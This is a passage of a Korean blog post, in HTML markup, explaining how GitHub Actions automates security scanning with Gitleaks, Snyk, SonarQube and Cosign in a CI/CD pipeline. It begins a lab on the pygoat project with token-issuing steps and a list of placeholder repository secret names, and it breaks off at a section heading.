&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;지속적 검증:&lt;/b&gt; 개발자가 바쁘거나 실수로 Gitleaks나 Snyk 실행을 건너뛰고 코드를 합치면, 그 순간 보안이 뚫린다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;보안의 표준화:&lt;/b&gt; 모든 팀원이 동일한 보안 정책(예: 심각도 'High' 이상이면 배포 금지)을 강제 적용받도록 시스템화해야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;가시성 확보:&lt;/b&gt; 보안 검사 결과가 중앙(GitHub)에서 관리되어, 누구나 해당 코드가 안전한지 즉시 확인할 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;2. GitHub Actions&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1 GitHub Actions이란&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순한 자동화 도구를 넘어 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;CI/CD (지속적 통합 / 배포)&lt;/span&gt; 를 수행하는 엔진&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;CI (Continuous Integration):&lt;/b&gt; 코드를 Push할 때마다 자동으로 &lt;b data-index-in-node=&quot;48&quot; data-path-to-node=&quot;5,0,0&quot;&gt;Gitleaks, Snyk, SonarQube&lt;/b&gt; 같은 도구를 실행하여 &quot;이 코드가 안전한가?&quot;를 검증하는 과정.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;CD (Continuous Deployment):&lt;/b&gt; 검증된 코드를 자동으로 이미지로 빌드하고, &lt;b data-index-in-node=&quot;52&quot; data-path-to-node=&quot;5,1,0&quot;&gt;Cosign&lt;/b&gt;으로 서명한 뒤 서버에 배포하는 과정.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-2 주요 구성 요소 및 작동 원리&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;이벤트 (Event):&lt;/b&gt; &quot;언제 실행할 것인가?&quot; (예: 코드 Push, Pull Request 생성 시)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;워크플로우 (Workflow):&lt;/b&gt; &quot;무엇을 할 것인가?&quot; (전체적인 보안 점검 흐름을 담은 YAML 파일)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;러너 (Runner):&lt;/b&gt; &quot;어디서 실행할 것인가?&quot; (GitHub이 제공하는 가상 서버 또는&amp;nbsp; 로컬 PC)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-3&amp;nbsp; github actions 선택 이유&amp;nbsp;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;1) 코드와 보안의 물리적 인접성 (Native Integration)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;소스 코드 저장소 내부에 .&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;github/workflows &lt;/b&gt;&lt;/span&gt;경로로 파이프라인 코드가 함께 존재함.&lt;/li&gt;
&lt;li&gt;코드 변경 시 별도의 연동 설정 없이 즉각적인 보안 피드백 루프(Feedback Loop) 형성이 가능함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;2) 풍부한 보안 도구 생태계 (GitHub Marketplace)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Gitleaks, Snyk, SonarQube, Cosign 등 1주차에 다룬 &lt;b&gt;주요 도구들이 이미 '공식 Action' 형태로 최적화되어 제공&lt;/b&gt;됨.&lt;/li&gt;
&lt;li&gt;복잡한 스크립트 작성 없이 검증된 모듈을 호출하는 것만으로 보안 가드레일 구축이 가능함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,2,0&quot;&gt;3) 강력한 권한 및 민감 정보 관리 (Secret Management)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,2,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DockerHub 토큰, 개인키(cosign.key), API 키 등을 &lt;b&gt;GitHub Secrets에 암호화하여 저장&lt;/b&gt;함.&lt;/li&gt;
&lt;li&gt;로그 출력 시 &lt;b&gt;민감 정보를 자동으로 마스킹&lt;/b&gt;(Masking) 처리하여 파이프라인을 통한 2차 유출을 원천 차단함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,0&quot;&gt;4) 보안 게이트의 강제성 (Policy Enforcement)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,3,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정&lt;b&gt; 보안 검사(예: Critical 취약점 발견)를 통과하지 못할 경우, 메인 브랜치로의 코드 병합(Merge)을 물리적으로 차단&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;수동 검사 시 발생할 수 있는 '검사 생략'이나 '인적 오류'를 방어하고 표준화된 보안 정책을 유지함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,4,0&quot;&gt;5) 관리형 실행 환경 (Hosted Runners)&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,4,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub이 제공하는 격리된 가상 서버 환경에서 검사가 수행&lt;/b&gt;되므로, 로컬 환경의 오염이나 설정 차이로 인한 변수를 제거하고 일관된 결과를 보장함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-4 논리적 흐름 및 작동 방식&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1) Workflow 정의 및 대기 (Definition)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 먼저 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;.github/workflows/ &lt;/b&gt;&lt;/span&gt;경로에 &lt;b&gt;YAML 형식의 설계도를 작성&lt;/b&gt;하여 저장소에 올린다. 이때 Workflow는 실행되지 않은 '설계도' 상태로 대기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;2) 이벤트 감지 (Triggering)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 Push나 Pull Request 같은 &lt;b&gt;특정 이벤트가 발생하면, GitHub 시스템이 해당 저장소의 Workflow를 실행&lt;/b&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7&quot;&gt;3) 실행 환경 및 자원 할당 (Job Provisioning)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Workflow 내부에 정의된 &lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;Job 단위로 가상 서버(Runner)를 요청&lt;/span&gt;&lt;/b&gt;합니다.만약 Job이 여러 개라면, Workflow는 이를 동시에(병렬) 실행할지, 순서대로(직렬) 실행할지 결정하여 서버를 할당받습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10&quot;&gt;4) 환경 설정 및 코드 주입 (Step Execution - Setup)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상 서버 위에서 Workflow에 작성된 Step들이 순차적으로 실행&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt;코드 체크아웃&lt;/b&gt;: 저장소의 소스 코드를 서버로 복사&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시크릿 주입&lt;/b&gt;: 암호화된 GitHub Secrets를 해당 Step의 환경 변수로 연결&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13&quot;&gt;5) 보안 검사 및 빌드 수행 (Step Execution - Action)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,0,0&quot;&gt;Gitleaks, SonarQube, Snyk&lt;/b&gt; 등의 도구가 실행되며, &lt;b data-index-in-node=&quot;39&quot; data-path-to-node=&quot;15,0,0&quot;&gt;Workflow&lt;/b&gt;는 각 도구의 성공/실패 신호(Exit Code)를 실시간으로 모니터링한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;16&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;16&quot;&gt;6) 신뢰성 부여 및 종료 (Post-Processing)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;검사가 통과되면 이미지를 빌드하고 Cosign 서명 및 어테스테이션&lt;/b&gt;을 수행한다. 모든 작업이 완료되면 Workflow는 할당받았던 가상 서버를 반납하고 파기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;18&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;18&quot;&gt;7) 최종 결과 보고 (Reporting)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Workflow는 전체 과정의 로그를 취합하여 GitHub UI에 '성공(Check)' 또는 '실패(X)' 표시를 남긴다. 실패 시 어느 단계(Step)에서 문제가 생겼는지 상세 데이터를 제공하며 전체 흐름을 종료한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;실습&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;목표 : pygoat의 취약점을 github actions 자동화를 통해 잡아내고 해결한후 인증+검증까지 해서 새로운 이미지 빌드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;0. 자동화 공정 과정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3&quot;&gt;1. 서비스별 출입증(Token) 발급&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[ ] &lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;4,0,0&quot;&gt;Snyk Token:&lt;/b&gt; &lt;a href=&quot;https://snyk.io&quot; data-ved=&quot;0CAAQ_4QMahgKEwjM5Ie2lI6UAxUAAAAAHQAAAAAQjgk&quot; data-hveid=&quot;0&quot;&gt;Snyk.io&lt;/a&gt; 가입 후&lt;span style=&quot;background-color: #f6e199;&quot;&gt; Account Settings&lt;/span&gt;에서 API Token 복사&lt;/li&gt;
&lt;li&gt;[ ] &lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;4,1,0&quot;&gt;DockerHub Token:&lt;/b&gt; &lt;a href=&quot;https://hub.docker.com&quot; data-ved=&quot;0CAAQ_4QMahgKEwjM5Ie2lI6UAxUAAAAAHQAAAAAQjwk&quot; data-hveid=&quot;0&quot;&gt;DockerHub&lt;/a&gt; 접속 &amp;rarr; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Settings &amp;rarr; Personal Access Token &amp;rarr; New Access Token&lt;/span&gt; 생성 및 복사&lt;/li&gt;
&lt;li&gt;[ ] &lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;4,2,0&quot;&gt;Cosign Key:&lt;/b&gt; 로컬 터미널에서 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;cosign generate-key-pair &lt;/span&gt;실행 후 생성된 &lt;span style=&quot;background-color: #ffffff;&quot;&gt;&lt;b&gt;cosign.key 내용 및 비밀번호 메모&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;[ ] SonarQube Token&lt;/b&gt; : &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;SonarCloud 접속 &lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;rarr;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt; My Account &lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;rarr;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt; Security &lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;rarr;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt; Generate Token&lt;/i&gt;&lt;/span&gt; (Type: Analysis Token) 복사&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;b&gt;[ ] SonarCloud Info&lt;/b&gt; : &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;SonarCloud 프로젝트 사이드바&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;rarr;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt; Project Information&lt;/i&gt;&lt;/span&gt;에서 Organization,Project 키 메모&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;b&gt;[ ] GitHub PAT&lt;/b&gt; : &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;GitHub Profile &lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;rarr;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt; Settings &lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;rarr;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;nbsp; Developer settings &lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;rarr;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt; Personal access tokens &lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;rarr;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;nbsp; Fine grained tokens &lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt;&amp;rarr;&lt;/i&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;i&gt; Genereate new token&lt;/i&gt; &lt;/span&gt;생성 (권한 : Contents, Workflows, Metadata, Pull requests 'Read and Write'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;2. GitHub 저장소 금고(Secrets) 채우기&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;6,0,0&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;1) 저장소 생성&lt;/span&gt;:&lt;/b&gt; GitHub에 &lt;b data-index-in-node=&quot;20&quot; data-path-to-node=&quot;6,0,0&quot;&gt;Private&lt;/b&gt; Repository 생성 및 소스 코드 업로드&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;6,1,0&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;2) Secrets 등록&lt;/span&gt;:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Settings&lt;/span&gt; &amp;rarr; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Secrets and variables &lt;/span&gt;&amp;rarr; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Actions &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr;&amp;nbsp;&lt;/span&gt; Repository secret&lt;/span&gt;에서 아래 항목 등록
&lt;ul style=&quot;list-style-type: circle;&quot; data-path-to-node=&quot;6,1,1&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;SNYK_TOKEN&lt;/span&gt;&lt;/b&gt;: (Snyk 토큰)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;DOCKERHUB_USERNAME&lt;/span&gt;&lt;/b&gt;: (도커허브 ID)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;DOCKERHUB_TOKEN&lt;/span&gt;&lt;/b&gt;: (도커허브 토큰)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;COSIGN_KEY&lt;/span&gt;&lt;/b&gt;: (cosign.key 파일 전체 내용)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;COSIGN_PASSWORD&lt;/span&gt;&lt;/b&gt;: (키 생성 시 정한 비밀번호)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;GH_TOKEN &lt;/span&gt;&lt;/b&gt;: (발급받은 GitHub PAT 내용)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;SONAR_TOKEN &lt;/span&gt;&lt;/b&gt;: (SonarQube 분석 토큰)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;SONAR_HOST_URL&lt;/span&gt;&lt;/b&gt;: https://sonarcloud.io (또는 개인 서버 주소)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;SNYK_ORG_ID &lt;/span&gt;&lt;/b&gt;: (Snyk의 Organization ID)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;SONAR_ORG_KEY &lt;/span&gt;&lt;/b&gt;: (sonar organization key)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;SONAR_PROJECT_KEY &lt;/span&gt;&lt;/b&gt;: (Sonar project key)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;7&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7&quot;&gt;3. 설계도(파일) 준비 및 배치&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;8,0,0&quot;&gt;Dockerfile:&lt;/b&gt; 프로젝트 최상위 경로(Root)에 배치 (이미지 빌드 명세)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;8,1,0&quot;&gt;Workflow YAML:&lt;/b&gt; .&lt;span style=&quot;background-color: #f6e199;&quot;&gt;github/workflows/ &lt;/span&gt;폴더 안에 배치 (자동화 지시서)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;8,2,0&quot;&gt;.dockerignore:&lt;/b&gt; 이미지에 포함되지 말아야 할 파일(.git, .env 등) 목록 작성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9&quot;&gt;4. 공장 가동 및 모니터링&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;10,0,0&quot;&gt;Git Push:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;git add, commit, push &lt;/span&gt;실행&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;10,1,0&quot;&gt;Actions 탭 확인:&lt;/b&gt; GitHub UI에서 로봇이 단계를 통과하는지 실시간 모니터링&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;10,2,0&quot;&gt;결과 분석:&lt;/b&gt; 빨간색(실패) 확인 시 로그를 분석하여 코드 수정 후 재업로드&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;1. token 발급 및 Secret 채우기&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
